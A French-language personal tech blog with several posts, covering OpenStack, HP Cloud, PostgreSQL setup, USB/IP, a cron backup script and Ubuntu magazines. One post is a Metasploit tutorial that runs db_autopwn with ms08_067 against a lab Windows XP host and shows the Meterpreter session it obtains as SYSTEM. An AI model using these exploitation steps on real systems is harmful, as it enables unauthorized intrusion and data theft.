But today, I’m proud to release my first documentation on OpenStack.

I’ve been working for three weeks with StackOps for my internship, and my work is about Quantum (Networking as a service in OpenStack).

It was quite difficult to have a working infrastructure because Quantum is only in « incubation » for Essex release. That’s why I release a documentation in which anyone can test this fabulous software.

You can find this documentation with all configuration files & scripts here.

Or read it directly here :

Download (PDF, 320.87KB)

Share & Enjoy !

N.B. : Thank’s to StackOps team for the welcome in Madrid.

Please let me know if you can find some mistakes, and of course I will correct it.

Pour rappel, HP se lance dans le Cloud public avec l’arrivée d’HP Cloud Services qui propose tout comme ses concurrents (RackSpace, IBM, …) un cloud de type IaaS (Infrastructure As A Service).

Je me suis donc précipité sur l’invitation, et j’ai créé mon compte afin de tester tout ça.

Pour tout vous avouer, ce qui m’a le plus motivé à tester le produit, c’est évidemment le fait qu’il soit basé sur OpenStack.

Je vous rapporte donc ce que j’ai testé, et les différentes fonctionnalités que j’ai appréciées ou celle que je n’ai pas vues.

Résultats du test :

- Compute :

• 2 clusters localisés à l’ouest des USA (pour l’instant).
• Pour ma part, aucun problème de latence.
• 6 tailles de serveurs (j’ai testé la standard.xsmall ainsi que la standard.large)
• Plusieurs images disponibles, toutes basées sur Linux (Ubuntu, CentOS)
• 1 IP publique par VM ! Pour le coup, j’ai vraiment été surpris.
• la gestion des VMs peut se faire via API (avec euca2ools) sinon depuis le dashboard d’HP qui est plutôt bien fait.
• On accède aux VMs par SSH (avec la clé privée qu’il faut télécharger), et le terminal est bien renseigné (facturation, ressources consommées, charge en temps réel…)
• Voici mes critiques : impossibilité de faire des snapshots des VMs (pour l’instant j’imagine), pas moyen pour le moment de créer des volumes, et de les attacher aux VMs (avec la fonction de snapshot si possible).
• Ensuite, j’aurais bien apprécier de pouvoir migrer les VMs entre cluster, mais je n’ai pas eu de réponse d’HP concernant cette fonctionnalité… A voir donc si ce sera possible dans l’avenir.

- Cloud storage :

• L’interface Web intègre une gestion de son Cloud Storage.
• Les fonctionnalités sont rudimentaires : Envoyer / Télécharger des fichiers depuis cet espace.
• J’imagine que derrière tout ça se cache le module Swift (OpenStack Storage) donc rien à dire de ce coté, si ce n’est qu’on ne connaît pas encore la limite de stockage pour l’offre de base, et il n’y a pas encore de fonction de partage de fichier. Bref, c’est une Beta !!
• Cela-dit, je suis plutôt content qu’une interface web soit enfin développée pour gérer du cloud storage avec Swift. Remarquez sur la capture d’écran que l’interface est plutôt simple mais assez complète pour l’instant.

Bien sûr, ces remarques n’engagent que moi-même, et je suis ouvert à toute discussion.

Dans tous les cas, je suis très heureux de voir OpenStack continu d’être adopté par les plus grands de ce monde… Pourvu que ça dure !!!

Cela fait plusieurs semaines que je travaille sur un projet de Cloud Open-Source, de type IaaS (Infrastructure As A Service). Je dois dire que c’est un projet très intéressant et surtout prometteur dans un monde où VMware a tendance à écraser le marché. Je trouve génial de pouvoir disposer d’outils libres et gratuits pour comprendre la virtualisation.

Dans cet article, je vais vous présenter mon projet, et je vous publie aussi le résultat de mon travail (un Powerpoint d’une cinquantaine de slides qui résume mon étude).

Mise en situation

Concrètement, il m’a été demandé par mon directeur de formation d’installer un service de Cloud Computing Open-Source (avec OpenStack) qui fournirait un catalogue d’images (Ubuntu Server, Windows 2008 R2, etc) et managable depuis un navigateur Web. Plus concrètement, voici un descriptif du processus :

• Le client se connecte via un navigateur Web sur un Dashboard
• En fonction de son profil, il a le droit ou non de créer des machines virtuelles, de créer des images, des snapshots, de gérer son réseau, etc.
• Le client crée une machine virtuelle (exemple : Ubuntu Server) à partir d’un template, et lui attribue une adresse IP publique.
• Il peut accéder à sa VM via SSH et a un accès root au système.
• La machine peut être rebootée, et éteinte.
• Le client peut consulter ce qu’il a consommé et voir combien il paiera en fin de mois pour son usage.

Plusieurs points sont intéressants, c’est tout d’abord le dashboard. Accessible depuis Internet, le client s’authentifie de manière sécurisée et effectue toutes ses tâches nécessaires. Secundo, le principe de facturation est super intéressant pour une entreprise qui facture à son client en fonction de son utilisation. Enfin, outre le fait que tout les outils sont libres et gratuits, ils sont très compatibles avec les API des autres systèmes (ex : Xen, VMware, etc).

Mon étude

Je ne vais pas rentrer dans les détails ici, mais plutôt vous donner le lien de téléchargement de mon fichier PDF que j’ai réalisé pour ma présentation.

Voici un aperçu avec Google Doc (il manque des visuels) :

Download (PDF, 1.09MB)

Dans quelques semaines, je recommence à travailler sur ce projet, et je vais me concentrer sur le nouveau Dashboard (Diablo) qui permet de faire plus de trucs que le module Cloud de Drupal. J’aimerais aussi me pencher sur la compatibilité avec les autres hyperviseurs, notamment les proprio (ça m’intrigue !). Enfin, je compte me perfectionner sur la haute disponibilité pour prétendre avoir un Cloud Open-Source performant, disponible, et compatible !

La suite bientôt…
PS : Le document fourni est 100% libre de droit, mais en cas de réutilisation, merci de me prévenir . Je suis également adepte au remarques et critiques, donc n’hésitez pas !

L’exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d’un réseau ou d’un système.
Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d’exploitation. Si vous voulez en savoir plus, faites comme moi et achetez un bon bouquin relatant des techniques de Hacking. Vous comprendrez mieux quelles sont les différentes méthodes pour exploiter une faille, ainsi que les différents types de failles.

Comme il existe beaucoup de types de failles, et énormément de méthodes, je m’arrêterai sur un cas général, en appliquant une technique « classique ».

Après avoir collecté un tas d’informations sur le réseau, ainsi que sur la machine ciblée, nous avons évaluer ses vulnérabilités. Rappelez-vous de notre bon ami Nessus qui nous a clairement indiqué que la machine cible avait comme système d’exploitation Windows XP SP3, et proposait le service de système de fichiers réseau CIFS. Seulement voilà, cette machine est vulnérable. Non pas parce qu’elle utilise ce service, mais parce que l’administrateur de la machine n’a pas pris le temps de mettre à jour régulièrement son système d’exploitation via Windows Update, ainsi que l’antivirus

Sachez que les tests réalisés en réseau local ont été effectué avec l’antivirus Avira Antivir (ainsi qu’une base de données antivirale de moins d’un an), sur un Windows XP SP3 sans mises à jour récentes.

Vous serez surpris de voir qu’il existe énormément d’ordinateurs au monde dans ce cas là. Ils sont souvent la proie des virus sur Internet (qui aident notamment à réaliser des attaques DDoS (Distributed Denial of Service).

Dans notre étude de cas, nous allons utiliser Metasploit Framework (MSF).

Sa base de données contient tous les exploits / payloads connus à ce jour. Bien entendu, pour une bonne utilisation de cet outil, il est important de le mettre à jour régulièrement (voir même avant chaque utilisation) avec la commande « msfupdate« .

Dans un terminal, démarrez l’outil « msfconsole« .

root@root:~# msfconsole
 
_
| |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
 
=[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
 
msf >

Nous allons utiliser le résultat du scan Nessus exécuté dans dans la recherche de vulnérabilité (dernier article), et l’importer dans une base de données SQL :

msf > db_import /root/nessus_report_Win.nessus
[*] Importing 'Nessus XML (v2)' data
[*] Importing host 192.168.128.129
[*] Successfully imported /root/nessus_report_Win.nessus
msf > db_import /root/nessus_report_Win.nessus
[*] Importing 'Nessus XML (v2)' data
[*] Importing host 192.168.128.132
[*] Successfully imported /root/nessus_report_Win.nessus

MSF connaît maintenant votre victime : comment la joindre, et surtout quelles sont les vulnérabilités trouvées par Nessus.

Nous allons lancer une commande qui va automatiquement exploiter l’un des failles disponibles afin d’obtenir une session avec la machine distante. Admirez le travail :

msf > db_autopwn -x -e
[*] (1/3 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.128.132:445...
[*] (2/3 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.128.132:445...
[*] (3/3 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.128.132:445...
[*] (3/3 [0 sessions]): Waiting on 3 launched modules to finish execution...
[*] Meterpreter session 1 opened (192.168.128.138:48400 -> 192.168.128.132:6313) at 2011-09-05 09:40:24 -0400
[*] (3/3 [1 sessions]): Waiting on 1 launched modules to finish execution...

0wned ! Le tour est joué, la machine distante est prise au piège. Nous avons utiliser l’exploit ms08_067_netapi pour pénétrer le système.
Pour retrouver une session ouverte, il suffit d’exécuter cette commande :

msf > sessions -l
 
Active sessions
===============
 
  Id  Type                   Information                           Connection
  --  ----                   -----------                           ----------
  1   meterpreter x86/win32  AUTORITE NT\SYSTEM @ VICTIME-484AF1D  192.168.128.138:48400 -> 192.168.128.132:6313

Et maintenant ?

Maintenant passons aux vilaines choses.
Pour obtenir le shell d’une session ouverte, il suffit de l’appeler par son ID :

session -i 1

Ensuite, la commande « help » vous éclairera sur la suite. Vous pouvez par exemple explorer les fichiers, prendre une capture d’écran, enregistrer les touches du clavier utilisées et encore plein d’autres trucs, dont des tâches administratives.

Cependant, un hacker ayant obtenu le shell d’un système essaye dans la plupart des cas de rester discret.
Dans le prochain article, nous allons voir comment installer un « backdoor » afin de pouvoir revenir plus tard sur le système sans exploiter de faille.
Ah oui, j’oubliais. Backtrack fournit une excellente interface graphique à MSF : « Armitage« .

Par rapport aux autres articles, aucune nouveauté en matière de lutte contre ce genre d’attaque. Un antivirus à jour, un pare-feu bien configuré, un système d’exploitation récent et à jour suffiront à éviter ce genre d’exploitation.

Aujourd’hui, les systèmes les plus vulnérables sont les sites Web qui sont très souvent victimes d’injections SQL permettant de récupérer des fichiers importants, et de compromettre la sécurité du serveur, et donc du réseau tout entier.

Hop, c’est cadeau, voici un script tout simple pour sauvegarder automatiquement et périodiquement son site web :

• sauvegarde périodique (les fichiers sont conservés 15 jours)
• sauvegarde des bases de données (variables à changer)
• sauvegarde des fichiers du site (chemins à changer)

Ce n’est qu’un squelette, et vous êtes libres d’y ajouter votre grain de sel, n’hésitez pas à l’améliorer et à le partager ici !

#!/bin/sh
 
#définitions des variables :
datedujour=$(date +%Y%m%d)
fichierdujour=$(date +%Y%m%d)-SqlBackup.tar.gz
datequinze=$(date -d '15 days ago' +%Y%m%d)
 
# On afficher les infos date du jour et autre pour le log.
echo "Date du jour : $datedujour"
echo "Fichier du jour : $fichierdujour"
echo "Date il y a 15 jours : $datequinze"
 
#On supprime  toutes les sauvegardes existantes dans le dossier d'exécution
rm -f *.sql
 
# La commande dump :
mysqldump -h localhost -u LOGIN_BDD -pPASSWORD NOM_BDD > BDD.sql
 
#on archive tous les backups dans un zip a la date du jour
# tar czf $fichierdujour *.sql
 
#on sauvegarde les fichiers du repertoire web
tar -cvzf www.tgz /public_html/
 
#on cree le répertoire du jour et y place les backups
mkdir ~/backup/auto/$datedujour
mv *.sql  ~/backup/auto/$datedujour/
mv www* ~/backup/auto/$datedujour/
 
#on supprime le répertoire d il y a 15 jours s'il existe
if test -d ~/backup/auto/$datequinze; then
echo 'suppression des anciens backups vieux de 15 jours ou plus'
rm -rf ~/backup/auto/$datequinze
fi
 
#on supprime le tar.gz du jour
rm -f $fichierdujour

Puis exécuter :

crontab -e

Pour y ajouter la cron suivante :

0 0 * * * /root/scripts/backup.sh

Je peux maintenant dormir tranquille, cron s’occupe de tout…

Au programme dans cette édition :

• Installation et mise à jour d’Ubuntu 11.04 (by me !)
  
• Unity, la révolution de l’identité visuelle d’Ubuntu
• Les indicateurs
• Logithèque Ubuntu (encore by me!)
  
• Logiciels à ne pas manquer (encore by me ! non mais !)
  
• LibreOffice
• Editer les documents PDF avec PDFedit
• Capturer une vidéo du bureau avec Istanbul et recordItNow
• Synchroniser ses fichiers avec Ubuntu One (again by me)
  
• Les écrans tactiles et Ubuntu

Pour ceux qui Linux est encore flou, ou pour les personnes désirant en connaitre toujours plus, ce magazine offre une réel concentré de ce qu’il faut savoir pour bien utiliser Ubuntu.

En attendant, si vous ne savez pas quoi faire, suivez moi sur Twitter !

Source

• Présentation de PostgreSQL

PostgreSQL est un outil libre et fondé par une communauté mondiale de développeurs et d’entreprises. Il permet de stocker plus de types de données que les types traditionnels entier, caractères, etc… L’utilisateur peut créer des types, des fonctions, utiliser l’héritage de type et encore d’autres fonctionnalités très intéressantes. Réputé pour sa stabilité, et son excellente compatibilité avec la norme ANSI SQL, mon choix s’est porté vers PostgreSQL par rapport aux besoins de performances des entreprises. En effet, les applications Web utilisent d’une part une base de données MySQL pour la partie front-end (les performances sont meilleures pour de petites requêtes vers une petite base de données), et d’une autre part une autre base de données PostreSQL pour les grosses requêtes sur des bases de données importantes, souvent utilisées par les applications métier.

Note : Dans ce billet, nous considérons avoir un serveur de base de données, un serveur web et un serveur d’applications séparés.

• Installation des paquetages

Nous considérons que nous possédons déjà un système d’exploitation Debian GNU/Linux installé sur la machine.

Nous allons maintenant installer les logiciels nécessaires :

apt-get install postgresql

Il est intéressant de remarquer que les dépendances vont être automatiquement installées (grâce au système de gestion de paquets APT).

• Configuration de PostgreSQL

Lors de l’installation, l’utilisateur «  postgres » est créé automatiquement. Par défaut, le mot de passe de cet utilisateur n’est pas connu. Par mesure de sécurité, nous allons en affecter un et nous passerons sous l’utilisateur « postgres » sans passer par l’utilisateur « root » pour exécuter les processus (et donc éviter de lui donner trop de permissions) :

passwd postgres

Pour travailler sur la base de données, il faut commencer par se connecter sous le compte de ce nouvel utilisateur :

su – postgres

Par défaut les instances se trouvent dans le répertoire /var/lib/postgresql (c’est le ~postgres). Elles sont gérées avec les wrappers en Perl pg_*cluster.

Par exemple pg_createcluster utilise en fait la commande /usr/lib/postgresql/bin/initdb -D <datadir>.

Il faut également avoir des droits corrects sur /tmp/ et d’autant plus pour PostgreSQL sans lesquels l’installation échouera complètement :

chmod 1777 /tmp

Nous allons créer notre base de données qui sera utilisée par l’application métier, mais tout d’abord, il faudra créer un utilisateur qui sera dédié à cette base de données.

# su – postgres

$ createuser dbadmin -P -D -A

$ createdb -0 dbadmin -E UNICODE DB1

Note : dbadmin sera l’utilisateur de la base de données DB1, elle même encodée en UNICODE.

Ensuite, il convient de configurer deux fichiers : pg_hba.conf et postgresql.conf.

Notons que les fichiers de configuration se trouvent dans le répertoire /etc/postgresql/8.3/main et la modification de ces derniers se font avec le super utilisateur « postgres ».

Le fichier pg_hba.conf permet de régler les permissions. Voici la syntaxe :

local DATABASE USER METHOD [OPTION]

host DATABASE USER CIDR-ADDRESS METHOD [OPTION]

hostssl DATABASE USER CIDR-ADDRESS METHOD [OPTION]

hostnossl DATABASE USER CIDR-ADDRESS METHOD [OPTION]

La ligne « local » permettra d’être en écoute « localement » sur la machine.

Le champ « DATABASE » concerne une base de donnée précise. Ce champ peut être de valeur « all » pour toutes les bases de données, « sameuser, « samerole », ou encore un nom précis de base de données.

Le champ « USER » peut être un nom d’utilisateur précis, un nom de groupe (avec le préfixe « + ») ou une liste d’utilisateurs séparés par des « - ».

Le champ « CIDR-ADDRESS » spécifie l’adresse IP (V4 ou V6) d’un hôte ou réseau distant ainsi qu’un masque de sous-réseau.

Le champ « METHOD » énonce la méthode d’authentification.

Le champ « [OPTION] » peut être utile lors d’une authentification avec PAM par exemple.

Voici maintenant notre fichier de configuration pg_hba.conf :

local all postgres ident sameuser

hostssl BDD1 dbadmin 192.168.53.1/32 md5

Ce fichier de configuration permet à l’utilisateur « postgres » d’accéder à toutes les bases de données en local, et notre serveur d’application distant pourra accéder à la base de données BDD1, avec l’utilisateur dbadmin, avec une authentification protégée par md5. Notez que dans cette configuration, une connexion SSL est exigée pour le serveur distant. Cela évite dans le cas d’une attaque « Man-on-the-middle » qu’une personne tierce accède aux données échangées.

Ensuite, il faut modifier le fichier de configuration postgresql.conf. Voici les paramètres à modifier ou à ajouter :

listen_addresses = ‘*’

port = 5432

ssl = on

password_encryption = on

Il faudra ensuite créer un certificat pour l’échange des données clients/serveur.

Nous allons créer un certificat auto-signé, dédié à PostgreSQL :

$ cd /var/lib/postgresql/8.3/main/

$ openssl req -new -text -out server.req

$ openssl rsa -in privkey.pem -out server.key

$ openssl req -x509 -in server.req -text -key server.key -out server.crt

$ rm privkey.pem

$ chmod 600 serveur.key

Note : Ces commandes sont réalisées avec l’utilisateur « postgres ».

La clé et le certificat sont crées et protégés, nous pouvons maintenant redémarrer le service PostgreSQL :

$ /etc/init.d/postgresql-8.3 restart

Le serveur peut désormais se connecter au serveur de base de données, avec les paramètres suivants :

Hôte du serveur : 192.168.53.153

Port TCP : 5432

SSL : exigé

Base de données : BDD1

Utilisateur : dbadmin

Mot de passe : <mot de passe de l’utilisateur dbadmin>

La base de données est maintenant crée, et configurée de manière à ce que les accès y soient sécurisés.

Je veux pouvoir transformer mon imprimante USB en imprimante réseau (et donc pouvoir l’utiliser et la contrôler partout chez moi).

La première solution qui s’offre à vous consiste à acheter un appareil qui partage sur le réseau les périphériques USB. Prévoyez un budget minimum de 100 euros pour avoir quelque chose de bien.

Mais heureusement que l’Open-Source est là, et nous allons nous débrouiller nous même, avec un budget de… 0 euros !

USB/IP est une excellente solution logicielle.

Procédure coté serveur

1- Téléchargez le logiciel présent dans les dépôts Debian / Ubuntu :

sudo aptitude install usbip

Vous devez charger les modules suivants pour être capable de contrôler vos ports USB :

sudo modprobe usbip
sudo modprobe usbip_common_mod

Pour démarrer le service « usbip » comme un démon :

sudo usbipd -D

Le message suivant s’affiche.

Bind usbip.ko to a usb device to be exportable!

Pas de panique ! C’est normal. Cela signifie vous devez choisir quel sera le port USB à partager.

1- Branchez votre appareil USB (imprimante, webcam, etc…)

2- Exécutez la commande pour trouver l’identifiant du vendeur et de l’appareil :

lsusb

Il est sous la forme :

Bus XXX Device ZZZ: ID VendorID:DeviceID

Les identifiants Vendeur / Appareil (Vendor / Device) sont codés sur 4 digits chacun (03f0:7a11 par exemple).Le premier (03f0) est pour Hewlett-Packard (qui est la marque de mon imprimante), et le second (7a11) est l’appareil USB (ici, mon imprimante en elle même).

Maintenant que nous avons trouvé les identifiants matériel, nous sommes capable de localiser sa position sur le bus.

sudo usbip_bind_driver –list

Résultat :

busid 2-1.2 (03f0:7a11)
2-1.2:1.0 -> none
2-1.2:1.1 -> usblp
2-1.2:1.2 -> none
2-1.2:1.3 -> usb-storage

Trouvez l’identifiant du bus sur lequel est notre imprimante. Ici, c’est « 2-1.2 ».

Il est temps maintenant de connecter l’appareil USB au réseau :

sudo usbip_bind_driver –usbip 2-1

Vous devez avoir une réponse finale du genre :

** Message: bind 2-1.2 to usbip, complete!

Une fois cette commande exécutée, le serveur est maintenant en écoute sur le réseau dans l’attente de connections clients.

Procédure coté client

Installation du logiciel :

sudo apt-get install usbip

Chargez le module « vhci-hcd » :

sudo modprobe vhci-hcd

Pour lister les périphériques USB disponibles sur le serveur :

sudo usbip -l <@ ip>

Bien entendu, remplacer <@ ip> par l’adresse IP du serveur.

Enfin, la commande qui nous apporte un nouveau périphérique USB :

sudo usbip -a <@ ip> X-Y

Remplacer X-Y par le l’identifiant du bus (2-1.2:1.1 pour l’exemple de tout à l’heure).

Si tout va bien, le périphérique est maintenant reconnu par le système. Si c’est un périphérique amovible, le périphérique sera monté; dans le cas d’une imprimante, il faudra l’installer comme une imprimante normale.

Sachez également logiciel client existe aussi sous Windows et je vous donne même le lien de téléchargement.

Tout d’abord, il faut extraire l’archive téléchargée.
En premier lieu, il faut installer le driver en cliquant droit sur le fichier bus.inf, puis sur « Installer ».
Ensuite, exécutez une invite de commande Windows (Menu Démarrer, Exécuter, « cmd »).
Avec la commande « cd » (comme sous Linux !), déplacez vous dans le répertoire où se trouve l’exécutable d’usbip.

Pour lister les périphériques USB disponibles sur le serveur (dans une invite de commande) :

usbip.exe -l <@ ip>

Et ensuite, la commande qui nous apporte un nouveau périphérique USB :

usbip.exe -a <@ ip> USB-ID

C’est bon ! Le périphérique USB doit maintenant être détecté par Windows !

J’espère avoir été clair sur les explications. Si vous avez suivi ce que j’ai fait à la lettre, tout devrait fonctionner. Sinon, vérifiez bien que vous avez choisi le bon identifiant du périphérique USB.
J’ai testé et ça fonctionne : Imprimante USB transformée en imprimante réseau, disque dur USB partagé sur le réseau, Webcam utilisée comme caméra de surveillance.

Non, pas la Saint Valentin (quoi que).

La mise à jour d’Android (1.5 vers 1.8) pour le HTC Dream de chez Orange !

Le fichier est disponible sur le site d’Orange et la documentation d’installation aussi.

Rien de bien sorcier.

Vous branchez le téléphone, lancez l’exécutable, et suivez les instructions.

Petite note intéressante. J’ai été obligé de booter sur un Windows pour pouvoir exécuter le « .exe » (encore une fois on a pas pensé aux linuxiens), mais en plus sous Windows Seven 64 bits, le driver de fonctionne pas. J’ai été contraint d’utiliser un autre ordi avec Windows XP. Voilà, donc si vous avez ce problème, soyez rassurés !

Après cette petite aventure, l’installation se passe très bien (10 minutes environ).

Le redémarrage un peu long, mais il faut être patient parfois.

Forcément, nous sommes obligés de reconfigurer le téléphone, mais rien de bien méchant, avec mon compte Google, mes agendas, mes contacts et mes messages sont restaurés.

L’interface est retouchée, plus jolie même ! Je me surprends même à la trouver plus fluide. Moins de bugs, et quelques applications en plus ! Un lecteur PDF, une suite bureautique, la fonction Caméscope (enfin !) et quelques autres fonctionnalités supplémentaires (notemment l’orientation automatique du téléphone et plus de widgets).

Je me sens à nouveau à la page, et vais pouvoir entamer une bonne semaine.

Le magazine Linux Identity publie fin du mois une édition spéciale, en quelque sorte destinnée aux débutants désirant de « lancer » dans l’univers palpitant de Linux : Linux Starter Kit.

Donc au programme, installations, comment faire cohabiter Ubuntu avec Windows, pas mal d’articles sur les applications intéressantes, et plein de trucs et astuces pour mieux utiliser son ordinateur.

Le magazine traîte surtout sur la distribution Ubuntu 9.10 Karmic Koala, en raison de sa popularité écrasante. Mais la pluparts des logiciels libres évoqués sont présents dans d’autres distrib’, donc pas de panique !

Bon je n’en dis pas plus !

Alors je vous donne rendez-vous dans quelques jours, dans votre kiosque, vous savez ce qu’il vous reste à faire !

NdM : Vous vous demandez certainement comment suis-je aussi bien informé, c’est parce que j’ai écris quelques articles pour le magazine.